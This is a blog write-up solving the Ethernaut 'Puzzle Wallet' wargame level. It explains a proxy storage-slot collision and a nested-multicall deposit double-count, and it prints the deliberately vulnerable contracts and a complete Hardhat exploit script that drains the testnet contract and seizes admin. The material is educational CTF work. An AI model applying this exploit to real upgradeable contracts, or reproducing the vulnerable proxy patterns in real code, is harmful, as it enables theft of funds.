Ethernaut Solutions: 24-Puzzle Wallet

This challenge requires a good understanding of how state variables behave when using delegatecall() in proxy pattern for upgradable contracts. I have expounded on these topics in my post: https://aaruni.io/deep-dive-upgradeable-smart-contracts

I approached this challenge a bit differently. Instead of copying the contract into Hardhat and deploying from there, I deployed it from the browser using Metamask. I did this because the contract balance plays an important part in this exploit and I wanted to be sure I have the correct initial state.

In this challenge we have been presented with 2 contracts: PuzzleProxy and PuzzleWallet. If you are familiar with proxy pattern, the PuzzleProxy is called the “Proxy” contract and PuzzleWallet is the “Implementation” contract. PuzzleProxy inherits from the UpgradeableProxy contract which primarily tells PuzzleProxy to store PuzzleWallet’s address in storage slot number 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc. The MetaMask transaction that deploys PuzzleProxy also funds it with .001 ETH and puts PuzzleWallet’s address in the aforementioned storage slot. Also something that I noticed is that if you try to interact with the deployed instance of PuzzleProxy using your web browser’s console, you can’t execute any of it’s functions like proposeNewAdmin() because the “contract” object in the console refers to the abi of PuzzleWallet instead of PuzzleProxy. This lines up with how proxy pattern works – you want the general users to interact with the implementation contract and not the proxy contract.

MetaMask deployed my contracts to the Goerli testnet at the following addresses:

PuzzleProxy: 0x71E54a06EbF7D7292B11Dd912EcD28E1c1D29FF9
PuzzleWallet: 0x904329e4e81694d1a7014bd2978d80d18e8d33ad

The solution to this challenge will involve chaining many steps together to become the admin of the contract. This admin’s address is stored in the “admin” state variable in the PuzzleProxy contract. The only function modifying this variable is approveNewAdmin() but we would need to be an admin already to call it because of the onlyAdmin modifier. Another way to modify this variable (or rather storage slot 1) will be to somehow change PuzzleWallet’s maxBalance value to a new address of our choosing. For this we can call setMaxBalance() but will have to meet two requirements first:

  1. Get added to the “whitelisted” mapping to satisfy the onlyWhitelisted modifier
  2. Drain out the 0.001 ETH that PuzzleProxy has to satisfy the below mentioned condition
require(address(this).balance == 0, "Contract balance is not 0");

We can call addToWhitelist() to get ourselves added to the whitelist but to do so we need to be the owner first. Instead of trying to modify the PuzzleWallet’s owner state variable (or storage slot 0), we will modify PuzzleProxy’s pendingAdmin (also slot 0) state variable by calling the proposeNewAdmin() function. Because both PuzzleProxy.pendingAdmin and PuzzleWallet.owner point to storage slot#0, calling proposeNewAdmin() will make the supplied address as the owner of the PuzzleWallet contract.

Once we become the owner, we can get added to the whitelist by calling the addToWhitelist() function. Once we are whitelisted, we need to move all .001 ETH from the PuzzleProxy contract to satisfy both the conditions required to run setMaxBalance(). The function to move ETH is execute() but the msg.sender can only spend the total amount they have previously deposited. So effectively no one can drain out the .001 ETH that is already in PuzzleProxy contract.

The way forward in this situation to have a way to make contract think that the msg.sender is sending more than it actually is. This can be done via the multicall() function which is designed to call the functions that we provide it as the argument. It has a check built in that lets it call the deposit() function only once. The deposit() function lets the caller send ETH to and saves the total amount in the “balances” mapping. Despite the check in the multicall() function, a caller can call deposit() by passing multicall(deposit) as an argument to the multicall() function. The function call would look something like below:

multicall([deposit, multicall(deposit)])

If we pass .001 ETH with this function call, it will call deposit() twice effectively making balances[msg.sender] = .002 ETH although only .001 ETH was actually sent. So now we have a situation where balances[hacker] and address(this).balance both are .002 ETH. All that remains to be done is draining all .002 ETH from PuzzleProxy to make its balance zero. The function to move ETH out is PuzzleWallet’s execute() function. I created another contract StartTheSteal to store this stolen .002 ETH and passed its address as an argument to execute() to do the transfer. Now with PuzzleProxy’s balance reduced to zero, we satisfy both conditions to call setMaxBalance() and pass to it the address that we want as the new admin.

This challenge certainly took longer to solve than others primarily because I had to first understand what upgradable contracts are and how delegatecall() works. I imagine it would be a moderately difficult challenge to solve for someone with good understanding of proxy contracts. All the contracts and the solution are provided below. I have also provided the older version of the UpgradeableProxy base contract that this level uses, in case anyone wants to try this using Hardhat like I did.

// UpgradeableProxy.sol
// SPDX-License-Identifier: MIT

pragma solidity >=0.6.0 <0.8.0;

import "./Proxy.sol";
import "../utils/Address.sol";

/**
 * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
 * implementation address that can be changed. This address is stored in storage in the location specified by
 * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
 * implementation behind the proxy.
 * 
 * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
 * {TransparentUpgradeableProxy}.
 */
contract UpgradeableProxy is Proxy {
    /**
     * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
     * 
     * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
     * function call, and allows initializating the storage of the proxy like a Solidity constructor.
     */
    constructor(address _logic, bytes memory _data) public payable {
        assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
        _setImplementation(_logic);
        if(_data.length > 0) {
            // solhint-disable-next-line avoid-low-level-calls
            (bool success,) = _logic.delegatecall(_data);
            require(success);
        }
    }

    /**
     * @dev Emitted when the implementation is upgraded.
     */
    event Upgraded(address indexed implementation);

    /**
     * @dev Storage slot with the address of the current implementation.
     * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
     * validated in the constructor.
     */
    bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    /**
     * @dev Returns the current implementation address.
     */
    function _implementation() internal override view returns (address impl) {
        bytes32 slot = _IMPLEMENTATION_SLOT;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            impl := sload(slot)
        }
    }

    /**
     * @dev Upgrades the proxy to a new implementation.
     * 
     * Emits an {Upgraded} event.
     */
    function _upgradeTo(address newImplementation) internal {
        _setImplementation(newImplementation);
        emit Upgraded(newImplementation);
    }

    /**
     * @dev Stores a new address in the EIP1967 implementation slot.
     */
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");

        bytes32 slot = _IMPLEMENTATION_SLOT;

        // solhint-disable-next-line no-inline-assembly
        assembly {
            sstore(slot, newImplementation)
        }
    }
}
// SafeMath.sol
// SPDX-License-Identifier: MIT

pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
// PuzzleWallet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}
// StartTheSteal.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract StartTheSteal
{
    function foo() payable public{}
}
// Solution.js
const { expect } = require("chai");
const { Wallet } = require("ethers");
const { ethers, network } = require("hardhat");

describe("Hello.sol", () => {

    describe("Test run", () => {
        it("should run fine", async () => {
            
            // Get the deployer address
            const [owner, hacker] = await ethers.getSigners();    
            
            console.log("Owner's address: ", owner.address)
            console.log("Hacker's address: ", hacker.address)
            
            const puzzleProxyAddress = "0x71E54a06EbF7D7292B11Dd912EcD28E1c1D29FF9";
            const puzzleProxyBalance = await ethers.provider.getBalance(puzzleProxyAddress);
            console.log("PuzzleProxy's balance is: ", puzzleProxyBalance);
            
            // As defined in EIP-1967
            const _IMPLEMENTATION_SLOT = "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc";
    
            // Lets read the value in proxy's implementation slot
            var puzzleWalletAddress = await ethers.provider.getStorageAt(puzzleProxyAddress, _IMPLEMENTATION_SLOT)
            console.log("PuzzleWallet (implementation contract) address:", puzzleWalletAddress)
            
            // Remove zeros from puzzleWalletAddress
            puzzleWalletAddress = ethers.utils.hexStripZeros(puzzleWalletAddress)
            
            const puzzleWalletBalance = await ethers.provider.getBalance(puzzleWalletAddress);
            console.log("PuzzleWallet's balance is: ", puzzleWalletBalance);
                   
            // Lets first find who the current admin is
            const puzzleProxyContract = await ethers.getContractFactory("PuzzleProxy"); //refer to abi for PuzzleProxy
            const puzzleProxy = puzzleProxyContract.attach(puzzleProxyAddress)
            console.log("Current admin is: ", await puzzleProxy.admin())

            // Call proposeNewAdmin()
            await puzzleProxy.connect(hacker).proposeNewAdmin(hacker.address);
            // Lets see if pendingAdmin got updated to hacker's address
            console.log("pendingAdmin = ", await puzzleProxy.pendingAdmin())

            // Now we need to get hacker.address added to the whitelist
            const puzzleWalletContract = await ethers.getContractFactory("PuzzleWallet"); //refer to abi for PuzzleWallet
            const puzzleWallet = puzzleWalletContract.attach(puzzleProxyAddress)
            await puzzleWallet.connect(hacker).addToWhitelist(hacker.address)
            // Check if hacker.address is now whitelisted 
            console.log(await puzzleWallet.connect(hacker).whitelisted(hacker.address))

            // Call multicall() and pass "deposit" and "multicall(deposit)" as arguments
            // This will deposit .001 ETH to the contract but will update sender's (hacker) balance to twice that
            const depositCall = puzzleWallet.interface.encodeFunctionData("deposit")
            const multicallCall = puzzleWallet.interface.encodeFunctionData("multicall", [[depositCall]])
            await puzzleWallet.connect(hacker).multicall([depositCall, multicallCall], {value: ethers.utils.parseEther('.001')})
            
            // As expected, hacker's balance is twice of what we deposited = 0.002 ETH
            console.log("Hacker's balance: ", await puzzleWallet.connect(hacker).balances(hacker.address))
            console.log("maxBalance = ", await puzzleWallet.connect(hacker).maxBalance())

            // Now the hacker's balance = PuzzleProxy's balance so we can withdraw all the ETH and leave PuzzleProxy with 0 ETH
            // We created StartTheSteal.sol specifically for stealing the ether so lets deploy and use it
            const startTheStealContract = await ethers.getContractFactory("StartTheSteal");
            const startTheSteal = await startTheStealContract.connect(hacker).deploy();
            await startTheSteal.deployed()
            console.log("StartTheSteal's address ", startTheSteal.address)
            await puzzleWallet.connect(hacker).execute(startTheSteal.address, ethers.utils.parseEther('.002'), startTheSteal.interface.encodeFunctionData("foo"))
            console.log("StartTheSteal's balance: ", await ethers.provider.getBalance(startTheSteal.address))

            console.log("PuzzleProxy's balance is: ", await ethers.provider.getBalance(puzzleProxyAddress));

            // Now that PuzzleProxy's balance is 0, we can call setMaxBalance() and become the admin
            await puzzleWallet.connect(hacker).setMaxBalance(hacker.address)   
            
            // Finally lets check if hacker is the new admin
            console.log("New admin is: ", await puzzleProxy.connect(hacker).admin())
        });
    });
});

Leave a Comment